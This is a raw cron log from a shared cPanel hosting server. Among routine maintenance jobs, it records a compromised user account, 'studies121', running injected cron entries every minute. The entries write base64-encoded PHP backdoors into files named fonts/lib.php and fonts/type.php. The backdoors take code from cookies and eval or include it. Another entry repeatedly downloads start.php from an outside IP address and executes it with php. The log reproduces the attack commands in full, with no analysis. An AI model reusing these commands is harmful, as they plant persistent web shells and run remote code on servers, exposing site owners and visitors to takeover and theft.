Sep  1 20:18:01 ip-184-168-122-23 CROND[19075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:19:01 ip-184-168-122-23 CROND[19166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:19:01 ip-184-168-122-23 CROND[19168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:19:01 ip-184-168-122-23 CROND[19167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:19:01 ip-184-168-122-23 CROND[19170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:20:01 ip-184-168-122-23 CROND[19257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:20:01 ip-184-168-122-23 CROND[19259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:20:01 ip-184-168-122-23 CROND[19262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:20:01 ip-184-168-122-23 CROND[19263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:20:01 ip-184-168-122-23 CROND[19267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:20:01 ip-184-168-122-23 CROND[19272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:20:01 ip-184-168-122-23 CROND[19269]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:20:01 ip-184-168-122-23 CROND[19271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:20:01 ip-184-168-122-23 CROND[19268]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 20:21:01 ip-184-168-122-23 CROND[19367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:21:01 ip-184-168-122-23 CROND[19368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:21:01 ip-184-168-122-23 CROND[19370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:21:01 ip-184-168-122-23 CROND[19371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:22:01 ip-184-168-122-23 CROND[19451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:22:01 ip-184-168-122-23 CROND[19453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:22:01 ip-184-168-122-23 CROND[19454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:22:01 ip-184-168-122-23 CROND[19455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:22:01 ip-184-168-122-23 CROND[19456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:23:01 ip-184-168-122-23 CROND[19537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:23:01 ip-184-168-122-23 CROND[19540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:23:01 ip-184-168-122-23 CROND[19539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:23:01 ip-184-168-122-23 CROND[19541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:24:01 ip-184-168-122-23 CROND[19632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:24:01 ip-184-168-122-23 CROND[19636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:24:01 ip-184-168-122-23 CROND[19635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:24:01 ip-184-168-122-23 CROND[19634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:24:01 ip-184-168-122-23 CROND[19637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:25:01 ip-184-168-122-23 CROND[19732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:25:01 ip-184-168-122-23 CROND[19735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:25:01 ip-184-168-122-23 CROND[19738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:25:01 ip-184-168-122-23 CROND[19736]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 20:25:01 ip-184-168-122-23 CROND[19741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:25:01 ip-184-168-122-23 CROND[19744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:25:01 ip-184-168-122-23 CROND[19743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:26:01 ip-184-168-122-23 CROND[19933]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  1 20:26:01 ip-184-168-122-23 CROND[19938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:26:01 ip-184-168-122-23 CROND[19937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:26:01 ip-184-168-122-23 CROND[19940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:26:01 ip-184-168-122-23 CROND[19939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:26:01 ip-184-168-122-23 CROND[19941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  1 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  1 20:27:01 ip-184-168-122-23 CROND[20374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:27:01 ip-184-168-122-23 CROND[20376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:27:01 ip-184-168-122-23 CROND[20377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:27:01 ip-184-168-122-23 CROND[20378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:28:01 ip-184-168-122-23 CROND[20496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:28:01 ip-184-168-122-23 CROND[20498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:28:01 ip-184-168-122-23 CROND[20501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:28:01 ip-184-168-122-23 CROND[20499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:28:01 ip-184-168-122-23 CROND[20500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:29:01 ip-184-168-122-23 CROND[20626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:29:01 ip-184-168-122-23 CROND[20628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:29:01 ip-184-168-122-23 CROND[20627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:29:01 ip-184-168-122-23 CROND[20630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:30:01 ip-184-168-122-23 CROND[20722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:30:01 ip-184-168-122-23 CROND[20725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:30:01 ip-184-168-122-23 CROND[20727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:30:01 ip-184-168-122-23 CROND[20730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
